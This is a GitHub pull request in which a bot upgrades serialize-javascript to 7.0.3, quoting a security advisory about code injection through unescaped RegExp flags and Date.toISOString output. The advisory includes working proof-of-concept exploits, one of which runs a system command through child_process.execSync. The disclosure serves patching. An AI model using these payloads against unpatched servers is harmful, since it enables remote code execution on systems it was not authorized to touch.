Skip to content

chore(deps): update dependency serialize-javascript to v7 [security]#7977

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-serialize-javascript-vulnerability
Open

chore(deps): update dependency serialize-javascript to v7 [security]#7977
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-serialize-javascript-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Mar 2, 2026

This PR contains the following updates:

Package Change Age Confidence
serialize-javascript 6.0.2 → 7.0.3 age confidence

GitHub Vulnerability Alerts

GHSA-5c6j-r48x-rmvq

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@&#8203;placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()

javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution

javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@&#8203;rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Release Notes

yahoo/serialize-javascript (serialize-javascript)

v7.0.3

Compare Source

v7.0.2

Compare Source

What's Changed

Full Changelog: yahoo/serialize-javascript@v7.0.1...v7.0.2

v7.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v7.0.0...v7.0.1

v7.0.0

Compare Source

Breaking Changes

  • requires Node.js v20+

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v6.0.2...v7.0.0

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.
@renovate renovate bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels Mar 2, 2026
@renovate renovate bot requested a review from a team as a code owner March 2, 2026 02:59
@renovate renovate bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels Mar 2, 2026
@github-actions
Copy link

github-actions bot commented Mar 2, 2026

📊 Benchmark results

Comparing with d9184fc

  • Dependency count: 1,080 (no change)
  • Package size: 330 MB (no change)
  • Number of ts-expect-error directives: 362 (no change)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code

0 participants